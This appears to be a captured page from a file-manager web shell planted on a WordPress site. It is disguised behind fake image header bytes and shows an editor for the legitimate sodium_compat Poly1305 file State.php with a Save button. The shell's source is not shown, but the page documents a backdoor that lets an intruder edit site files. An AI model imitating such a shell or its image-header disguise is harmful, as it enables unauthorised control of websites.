�PNG
�JFIF������
<style>  
body { background:#1a1a1a; color:#ccc; font-family:monospace; padding:20px; }  
a { color:#6cf; text-decoration:none; }  
a:hover { text-decoration:underline; }  
textarea,input[type=text] { width:100%; font-family:monospace; background:#222; color:#fff; border:1px solid #444; }  
input[type=submit] { background:#333; color:#fff; border:none; padding:5px 10px; }  
</style><h2>🗂️ simple</h2><p><b>Path:</b> <a href='?path=%2Fbig%2F'>big</a>/<a href='?path=%2Fbig%2Fweb%2F'>web</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.nib.st%2F'>www.nib.st</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.nib.st%2Fhtdocs%2F'>htdocs</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.nib.st%2Fhtdocs%2Fwp-includes%2F'>wp-includes</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.nib.st%2Fhtdocs%2Fwp-includes%2Fsodium_compat%2F'>sodium_compat</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.nib.st%2Fhtdocs%2Fwp-includes%2Fsodium_compat%2Fsrc%2F'>src</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.nib.st%2Fhtdocs%2Fwp-includes%2Fsodium_compat%2Fsrc%2FCore32%2F'>Core32</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.nib.st%2Fhtdocs%2Fwp-includes%2Fsodium_compat%2Fsrc%2FCore32%2FPoly1305%2F'>Poly1305</a>/</p><hr><h3>✏️ Editing: State.php</h3>  
        <form method='post'>  
            <textarea name='content' rows='20'>&lt;?php

if (class_exists(&#039;ParagonIE_Sodium_Core32_Poly1305_State&#039;, false)) {
    return;
}

/**
 * Class ParagonIE_Sodium_Core32_Poly1305_State
 */
class ParagonIE_Sodium_Core32_Poly1305_State extends ParagonIE_Sodium_Core32_Util
{
    /**
     * @var array&lt;int, int&gt;
     */
    protected $buffer = array();

    /**
     * @var bool
     */
    protected $final = false;

    /**
     * @var array&lt;int, ParagonIE_Sodium_Core32_Int32&gt;
     */
    public $h;

    /**
     * @var int
     */
    protected $leftover = 0;

    /**
     * @var array&lt;int, ParagonIE_Sodium_Core32_Int32&gt;
     */
    public $r;

    /**
     * @var array&lt;int, ParagonIE_Sodium_Core32_Int64&gt;
     */
    public $pad;

    /**
     * ParagonIE_Sodium_Core32_Poly1305_State constructor.
     *
     * @internal You should not use this directly from another application
     *
     * @param string $key
     * @throws InvalidArgumentException
     * @throws SodiumException
     * @throws TypeError
     */
    public function __construct($key = &#039;&#039;)
    {
        if (self::strlen($key) &lt; 32) {
            throw new InvalidArgumentException(
                &#039;Poly1305 requires a 32-byte key&#039;
            );
        }
        /* r &amp;= 0xffffffc0ffffffc0ffffffc0fffffff */
        $this-&gt;r = array(
            // st-&gt;r[0] = ...
            ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($key, 0, 4))
                -&gt;setUnsignedInt(true)
                -&gt;mask(0x3ffffff),
            // st-&gt;r[1] = ...
            ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($key, 3, 4))
                -&gt;setUnsignedInt(true)
                -&gt;shiftRight(2)
                -&gt;mask(0x3ffff03),
            // st-&gt;r[2] = ...
            ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($key, 6, 4))
                -&gt;setUnsignedInt(true)
                -&gt;shiftRight(4)
                -&gt;mask(0x3ffc0ff),
            // st-&gt;r[3] = ...
            ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($key, 9, 4))
                -&gt;setUnsignedInt(true)
                -&gt;shiftRight(6)
                -&gt;mask(0x3f03fff),
            // st-&gt;r[4] = ...
            ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($key, 12, 4))
                -&gt;setUnsignedInt(true)
                -&gt;shiftRight(8)
                -&gt;mask(0x00fffff)
        );

        /* h = 0 */
        $this-&gt;h = array(
            new ParagonIE_Sodium_Core32_Int32(array(0, 0), true),
            new ParagonIE_Sodium_Core32_Int32(array(0, 0), true),
            new ParagonIE_Sodium_Core32_Int32(array(0, 0), true),
            new ParagonIE_Sodium_Core32_Int32(array(0, 0), true),
            new ParagonIE_Sodium_Core32_Int32(array(0, 0), true)
        );

        /* save pad for later */
        $this-&gt;pad = array(
            ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($key, 16, 4))
                -&gt;setUnsignedInt(true)-&gt;toInt64(),
            ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($key, 20, 4))
                -&gt;setUnsignedInt(true)-&gt;toInt64(),
            ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($key, 24, 4))
                -&gt;setUnsignedInt(true)-&gt;toInt64(),
            ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($key, 28, 4))
                -&gt;setUnsignedInt(true)-&gt;toInt64(),
        );

        $this-&gt;leftover = 0;
        $this-&gt;final = false;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $message
     * @return self
     * @throws SodiumException
     * @throws TypeError
     */
    public function update($message = &#039;&#039;)
    {
        $bytes = self::strlen($message);

        /* handle leftover */
        if ($this-&gt;leftover) {
            /** @var int $want */
            $want = ParagonIE_Sodium_Core32_Poly1305::BLOCK_SIZE - $this-&gt;leftover;
            if ($want &gt; $bytes) {
                $want = $bytes;
            }
            for ($i = 0; $i &lt; $want; ++$i) {
                $mi = self::chrToInt($message[$i]);
                $this-&gt;buffer[$this-&gt;leftover + $i] = $mi;
            }
            // We snip off the leftmost bytes.
            $message = self::substr($message, $want);
            $bytes = self::strlen($message);
            $this-&gt;leftover += $want;
            if ($this-&gt;leftover &lt; ParagonIE_Sodium_Core32_Poly1305::BLOCK_SIZE) {
                // We still don&#039;t have enough to run $this-&gt;blocks()
                return $this;
            }

            $this-&gt;blocks(
                self::intArrayToString($this-&gt;buffer),
                ParagonIE_Sodium_Core32_Poly1305::BLOCK_SIZE
            );
            $this-&gt;leftover = 0;
        }

        /* process full blocks */
        if ($bytes &gt;= ParagonIE_Sodium_Core32_Poly1305::BLOCK_SIZE) {
            /** @var int $want */
            $want = $bytes &amp; ~(ParagonIE_Sodium_Core32_Poly1305::BLOCK_SIZE - 1);
            if ($want &gt;= ParagonIE_Sodium_Core32_Poly1305::BLOCK_SIZE) {
                /** @var string $block */
                $block = self::substr($message, 0, $want);
                if (self::strlen($block) &gt;= ParagonIE_Sodium_Core32_Poly1305::BLOCK_SIZE) {
                    $this-&gt;blocks($block, $want);
                    $message = self::substr($message, $want);
                    $bytes = self::strlen($message);
                }
            }
        }

        /* store leftover */
        if ($bytes) {
            for ($i = 0; $i &lt; $bytes; ++$i) {
                $mi = self::chrToInt($message[$i]);
                $this-&gt;buffer[$this-&gt;leftover + $i] = $mi;
            }
            $this-&gt;leftover = (int) $this-&gt;leftover + $bytes;
        }
        return $this;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $message
     * @param int $bytes
     * @return self
     * @throws SodiumException
     * @throws TypeError
     */
    public function blocks($message, $bytes)
    {
        if (self::strlen($message) &lt; 16) {
            $message = str_pad($message, 16, &quot;\x00&quot;, STR_PAD_RIGHT);
        }
        $hibit = ParagonIE_Sodium_Core32_Int32::fromInt((int) ($this-&gt;final ? 0 : 1 &lt;&lt; 24)); /* 1 &lt;&lt; 128 */
        $hibit-&gt;setUnsignedInt(true);
        $zero = new ParagonIE_Sodium_Core32_Int64(array(0, 0, 0, 0), true);
        /**
         * @var ParagonIE_Sodium_Core32_Int64 $d0
         * @var ParagonIE_Sodium_Core32_Int64 $d1
         * @var ParagonIE_Sodium_Core32_Int64 $d2
         * @var ParagonIE_Sodium_Core32_Int64 $d3
         * @var ParagonIE_Sodium_Core32_Int64 $d4
         * @var ParagonIE_Sodium_Core32_Int64 $r0
         * @var ParagonIE_Sodium_Core32_Int64 $r1
         * @var ParagonIE_Sodium_Core32_Int64 $r2
         * @var ParagonIE_Sodium_Core32_Int64 $r3
         * @var ParagonIE_Sodium_Core32_Int64 $r4
         *
         * @var ParagonIE_Sodium_Core32_Int32 $h0
         * @var ParagonIE_Sodium_Core32_Int32 $h1
         * @var ParagonIE_Sodium_Core32_Int32 $h2
         * @var ParagonIE_Sodium_Core32_Int32 $h3
         * @var ParagonIE_Sodium_Core32_Int32 $h4
         */
        $r0 = $this-&gt;r[0]-&gt;toInt64();
        $r1 = $this-&gt;r[1]-&gt;toInt64();
        $r2 = $this-&gt;r[2]-&gt;toInt64();
        $r3 = $this-&gt;r[3]-&gt;toInt64();
        $r4 = $this-&gt;r[4]-&gt;toInt64();

        $s1 = $r1-&gt;toInt64()-&gt;mulInt(5, 3);
        $s2 = $r2-&gt;toInt64()-&gt;mulInt(5, 3);
        $s3 = $r3-&gt;toInt64()-&gt;mulInt(5, 3);
        $s4 = $r4-&gt;toInt64()-&gt;mulInt(5, 3);

        $h0 = $this-&gt;h[0];
        $h1 = $this-&gt;h[1];
        $h2 = $this-&gt;h[2];
        $h3 = $this-&gt;h[3];
        $h4 = $this-&gt;h[4];

        while ($bytes &gt;= ParagonIE_Sodium_Core32_Poly1305::BLOCK_SIZE) {
            /* h += m[i] */
            $h0 = $h0-&gt;addInt32(
                ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($message, 0, 4))
                    -&gt;mask(0x3ffffff)
            )-&gt;toInt64();
            $h1 = $h1-&gt;addInt32(
                ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($message, 3, 4))
                    -&gt;shiftRight(2)
                    -&gt;mask(0x3ffffff)
            )-&gt;toInt64();
            $h2 = $h2-&gt;addInt32(
                ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($message, 6, 4))
                    -&gt;shiftRight(4)
                    -&gt;mask(0x3ffffff)
            )-&gt;toInt64();
            $h3 = $h3-&gt;addInt32(
                ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($message, 9, 4))
                    -&gt;shiftRight(6)
                    -&gt;mask(0x3ffffff)
            )-&gt;toInt64();
            $h4 = $h4-&gt;addInt32(
                ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($message, 12, 4))
                    -&gt;shiftRight(8)
                    -&gt;orInt32($hibit)
            )-&gt;toInt64();

            /* h *= r */
            $d0 = $zero
                -&gt;addInt64($h0-&gt;mulInt64($r0, 27))
                -&gt;addInt64($s4-&gt;mulInt64($h1, 27))
                -&gt;addInt64($s3-&gt;mulInt64($h2, 27))
                -&gt;addInt64($s2-&gt;mulInt64($h3, 27))
                -&gt;addInt64($s1-&gt;mulInt64($h4, 27));

            $d1 = $zero
                -&gt;addInt64($h0-&gt;mulInt64($r1, 27))
                -&gt;addInt64($h1-&gt;mulInt64($r0, 27))
                -&gt;addInt64($s4-&gt;mulInt64($h2, 27))
                -&gt;addInt64($s3-&gt;mulInt64($h3, 27))
                -&gt;addInt64($s2-&gt;mulInt64($h4, 27));

            $d2 = $zero
                -&gt;addInt64($h0-&gt;mulInt64($r2, 27))
                -&gt;addInt64($h1-&gt;mulInt64($r1, 27))
                -&gt;addInt64($h2-&gt;mulInt64($r0, 27))
                -&gt;addInt64($s4-&gt;mulInt64($h3, 27))
                -&gt;addInt64($s3-&gt;mulInt64($h4, 27));

            $d3 = $zero
                -&gt;addInt64($h0-&gt;mulInt64($r3, 27))
                -&gt;addInt64($h1-&gt;mulInt64($r2, 27))
                -&gt;addInt64($h2-&gt;mulInt64($r1, 27))
                -&gt;addInt64($h3-&gt;mulInt64($r0, 27))
                -&gt;addInt64($s4-&gt;mulInt64($h4, 27));

            $d4 = $zero
                -&gt;addInt64($h0-&gt;mulInt64($r4, 27))
                -&gt;addInt64($h1-&gt;mulInt64($r3, 27))
                -&gt;addInt64($h2-&gt;mulInt64($r2, 27))
                -&gt;addInt64($h3-&gt;mulInt64($r1, 27))
                -&gt;addInt64($h4-&gt;mulInt64($r0, 27));

            /* (partial) h %= p */
            $c = $d0-&gt;shiftRight(26);
            $h0 = $d0-&gt;toInt32()-&gt;mask(0x3ffffff);
            $d1 = $d1-&gt;addInt64($c);

            $c = $d1-&gt;shiftRight(26);
            $h1 = $d1-&gt;toInt32()-&gt;mask(0x3ffffff);
            $d2 = $d2-&gt;addInt64($c);

            $c = $d2-&gt;shiftRight(26);
            $h2 = $d2-&gt;toInt32()-&gt;mask(0x3ffffff);
            $d3 = $d3-&gt;addInt64($c);

            $c = $d3-&gt;shiftRight(26);
            $h3 = $d3-&gt;toInt32()-&gt;mask(0x3ffffff);
            $d4 = $d4-&gt;addInt64($c);

            $c = $d4-&gt;shiftRight(26);
            $h4 = $d4-&gt;toInt32()-&gt;mask(0x3ffffff);
            $h0 = $h0-&gt;addInt32($c-&gt;toInt32()-&gt;mulInt(5, 3));

            $c = $h0-&gt;shiftRight(26);
            $h0 = $h0-&gt;mask(0x3ffffff);
            $h1 = $h1-&gt;addInt32($c);

            // Chop off the left 32 bytes.
            $message = self::substr(
                $message,
                ParagonIE_Sodium_Core32_Poly1305::BLOCK_SIZE
            );
            $bytes -= ParagonIE_Sodium_Core32_Poly1305::BLOCK_SIZE;
        }

        /** @var array&lt;int, ParagonIE_Sodium_Core32_Int32&gt; $h */
        $this-&gt;h = array($h0, $h1, $h2, $h3, $h4);
        return $this;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public function finish()
    {
        /* process the remaining block */
        if ($this-&gt;leftover) {
            $i = $this-&gt;leftover;
            $this-&gt;buffer[$i++] = 1;
            for (; $i &lt; ParagonIE_Sodium_Core32_Poly1305::BLOCK_SIZE; ++$i) {
                $this-&gt;buffer[$i] = 0;
            }
            $this-&gt;final = true;
            $this-&gt;blocks(
                self::substr(
                    self::intArrayToString($this-&gt;buffer),
                    0,
                    ParagonIE_Sodium_Core32_Poly1305::BLOCK_SIZE
                ),
                $b = ParagonIE_Sodium_Core32_Poly1305::BLOCK_SIZE
            );
        }

        /**
         * @var ParagonIE_Sodium_Core32_Int32 $f
         * @var ParagonIE_Sodium_Core32_Int32 $g0
         * @var ParagonIE_Sodium_Core32_Int32 $g1
         * @var ParagonIE_Sodium_Core32_Int32 $g2
         * @var ParagonIE_Sodium_Core32_Int32 $g3
         * @var ParagonIE_Sodium_Core32_Int32 $g4
         * @var ParagonIE_Sodium_Core32_Int32 $h0
         * @var ParagonIE_Sodium_Core32_Int32 $h1
         * @var ParagonIE_Sodium_Core32_Int32 $h2
         * @var ParagonIE_Sodium_Core32_Int32 $h3
         * @var ParagonIE_Sodium_Core32_Int32 $h4
         */
        $h0 = $this-&gt;h[0];
        $h1 = $this-&gt;h[1];
        $h2 = $this-&gt;h[2];
        $h3 = $this-&gt;h[3];
        $h4 = $this-&gt;h[4];

        $c = $h1-&gt;shiftRight(26);           # $c = $h1 &gt;&gt; 26;
        $h1 = $h1-&gt;mask(0x3ffffff);         # $h1 &amp;= 0x3ffffff;

        $h2 = $h2-&gt;addInt32($c);            # $h2 += $c;
        $c = $h2-&gt;shiftRight(26);           # $c = $h2 &gt;&gt; 26;
        $h2 = $h2-&gt;mask(0x3ffffff);         # $h2 &amp;= 0x3ffffff;

        $h3 = $h3-&gt;addInt32($c);            # $h3 += $c;
        $c = $h3-&gt;shiftRight(26);           # $c = $h3 &gt;&gt; 26;
        $h3 = $h3-&gt;mask(0x3ffffff);         # $h3 &amp;= 0x3ffffff;

        $h4 = $h4-&gt;addInt32($c);            # $h4 += $c;
        $c = $h4-&gt;shiftRight(26);           # $c = $h4 &gt;&gt; 26;
        $h4 = $h4-&gt;mask(0x3ffffff);         # $h4 &amp;= 0x3ffffff;

        $h0 = $h0-&gt;addInt32($c-&gt;mulInt(5, 3)); # $h0 += self::mul($c, 5);
        $c = $h0-&gt;shiftRight(26);           # $c = $h0 &gt;&gt; 26;
        $h0 = $h0-&gt;mask(0x3ffffff);         # $h0 &amp;= 0x3ffffff;
        $h1 = $h1-&gt;addInt32($c);            # $h1 += $c;

        /* compute h + -p */
        $g0 = $h0-&gt;addInt(5);
        $c  = $g0-&gt;shiftRight(26);
        $g0 = $g0-&gt;mask(0x3ffffff);
        $g1 = $h1-&gt;addInt32($c);
        $c  = $g1-&gt;shiftRight(26);
        $g1 = $g1-&gt;mask(0x3ffffff);
        $g2 = $h2-&gt;addInt32($c);
        $c  = $g2-&gt;shiftRight(26);
        $g2 = $g2-&gt;mask(0x3ffffff);
        $g3 = $h3-&gt;addInt32($c);
        $c  = $g3-&gt;shiftRight(26);
        $g3 = $g3-&gt;mask(0x3ffffff);
        $g4 = $h4-&gt;addInt32($c)-&gt;subInt(1 &lt;&lt; 26);

        # $mask = ($g4 &gt;&gt; 31) - 1;
        /* select h if h &lt; p, or h + -p if h &gt;= p */
        $mask = (int) (($g4-&gt;toInt() &gt;&gt; 31) + 1);

        $g0 = $g0-&gt;mask($mask);
        $g1 = $g1-&gt;mask($mask);
        $g2 = $g2-&gt;mask($mask);
        $g3 = $g3-&gt;mask($mask);
        $g4 = $g4-&gt;mask($mask);

        /** @var int $mask */
        $mask = ~$mask;

        $h0 = $h0-&gt;mask($mask)-&gt;orInt32($g0);
        $h1 = $h1-&gt;mask($mask)-&gt;orInt32($g1);
        $h2 = $h2-&gt;mask($mask)-&gt;orInt32($g2);
        $h3 = $h3-&gt;mask($mask)-&gt;orInt32($g3);
        $h4 = $h4-&gt;mask($mask)-&gt;orInt32($g4);

        /* h = h % (2^128) */
        $h0 = $h0-&gt;orInt32($h1-&gt;shiftLeft(26));
        $h1 = $h1-&gt;shiftRight(6)-&gt;orInt32($h2-&gt;shiftLeft(20));
        $h2 = $h2-&gt;shiftRight(12)-&gt;orInt32($h3-&gt;shiftLeft(14));
        $h3 = $h3-&gt;shiftRight(18)-&gt;orInt32($h4-&gt;shiftLeft(8));

        /* mac = (h + pad) % (2^128) */
        $f = $h0-&gt;toInt64()-&gt;addInt64($this-&gt;pad[0]);
        $h0 = $f-&gt;toInt32();
        $f = $h1-&gt;toInt64()-&gt;addInt64($this-&gt;pad[1])-&gt;addInt($h0-&gt;overflow);
        $h1 = $f-&gt;toInt32();
        $f = $h2-&gt;toInt64()-&gt;addInt64($this-&gt;pad[2])-&gt;addInt($h1-&gt;overflow);
        $h2 = $f-&gt;toInt32();
        $f = $h3-&gt;toInt64()-&gt;addInt64($this-&gt;pad[3])-&gt;addInt($h2-&gt;overflow);
        $h3 = $f-&gt;toInt32();

        return $h0-&gt;toReverseString() .
            $h1-&gt;toReverseString() .
            $h2-&gt;toReverseString() .
            $h3-&gt;toReverseString();
    }
}
</textarea><br>  
            <input type='submit' value='Save'>  
        </form>  
        <p><a href='?path=%2Fbig%2Fweb%2Fwww.nib.st%2Fhtdocs%2Fwp-includes%2Fsodium_compat%2Fsrc%2FCore32%2FPoly1305'>🔙 Back</a></p>